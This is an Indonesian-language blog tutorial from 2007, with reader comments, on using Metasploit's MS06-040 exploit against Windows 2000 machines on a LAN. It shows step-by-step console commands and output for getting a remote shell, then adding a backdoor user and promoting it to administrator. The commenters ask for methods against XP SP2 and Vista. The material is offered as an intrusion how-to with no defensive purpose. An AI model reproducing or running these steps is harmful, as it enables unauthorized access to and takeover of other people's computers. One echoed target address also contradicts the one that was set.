[tutorial] metasploit 3

July 31, 2007

yg dibutuhkan:
1. Tentu saja Metasploit Framework (berapapun versinya)
2. IP Scanner ex:
superscan4
3. Paling utama adalah Target pada jaringan LAN

langkah pertama:
Scan IP target menggunakan IP Scanner. Disini target yg menggunakan port 135, karena yg paling mudah dimasukin…hiks
Setelah target didapat, jalankan langkah kedua dibawah ini
Contoh:
IP KITA : 192.168.10.8
IP Target: 192.168.10.9

Langkah kedua:
jalankan metasploit
Start >> Program>>metasploit >>MSFConsole
praktekin code dibawah ini:

Code:
[*] Starting the Metasploit Framework…

                |                    |      _) |
 __ `__ \   _ \ __|  _` |  __| __ \  |  _ \  | __|
 |   |   |  __/ |   (   |\__ \ |   | | (   | | |
_|  _|  _|\___|\__|\__,_|____/ .__/ _|\___/ _|\__|
                              _|

+ — –=[ msfconsole v2.7 [157 exploits - 76 payloads]

msf > use netapi_ms06_040
msf netapi_ms06_040 > set PAYLOAD win32_bind
PAYLOAD -> win32_bind
msf netapi_ms06_040(win32_bind) > set LPORT 4444
LPORT -> 4444
msf netapi_ms06_040(win32_bind) > set RHOST 192.168.10.9
RHOST -> 10.33.196.163
msf netapi_ms06_040(win32_bind) > set EXITFUNC thread
EXITFUNC -> thread
msf netapi_ms06_040(win32_bind) > exploit
[*] Starting Bind Handler.
[*] Detected a Windows 2000 target
[*] Sending request…
[*] Got connection from 192.168.10.8:1148 <-> 192.168.10.9:4444

Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.

C:\WINNT\system32>

jika sama dengan code diatas, berarti anda berhasil masuk ke system target.

lihat User account Komp Target:
C:\WINNT\system32>net user
net user

Code:
User accounts for \\

——————————————————————————-
Administrator            Guest                   SERVER-w4w4n
SERVER                    Hebat                   TsInternetUser
The command completed with one or more errors.

membuat account:
contoh:
user : xcode
pass: 123456

C:\WINNT\system32>net user xcode 123456 /ADD
net user xcode 123456 /ADD
The command completed successfully.

Untuk jadi administrator:

C:\WINNT\system32>net localgroup administrators xcode /ADD
net localgroup administrators xcode /ADD
The command completed successfully.

jika semua sukses…
- ketik C:\WINNT\system32>net user
cari account yg anda buat tadi, ada apa tidak?
- Jika ada, ketik C:\WINNT\system32>net user xcode
pada baris bawah sendiri, apa ada tulisan:
Local Group Memberships *Administrators *Users
Global Group memberships *None
The command completed successfully.

Jika ada…

Entry Filed under: TUTORIAL. .

3 Comments Add your own

  • 1. gundul  |  August 13, 2007 at 9:05 am

    mas ni program nggak bisa masuk klo target nya xp 2 tooo,nim aku pake versi 2.7, tapi klo pake kaht too langsung bisa mas, minta petunjuk yang lebih yaa mas

  • 2. bandit jalanan  |  September 25, 2007 at 9:04 am

    Untu SP2 ada ada tool or command2 khusus lagi ga, sekalian ma vista kalo ada

  • 3. VeNoL  |  December 16, 2007 at 8:33 am

    iya mas

    tunjuin yang lebih spesifik lagi dong

Leave a Comment

Required

Required, hidden

Some HTML allowed:
<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <pre> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>

Trackback this post  |  Subscribe to the comments via RSS Feed


 

July 2007
M T W T F S S
« Feb   Feb »
 1
2345678
9101112131415
16171819202122
23242526272829
3031  

Categories

Blogroll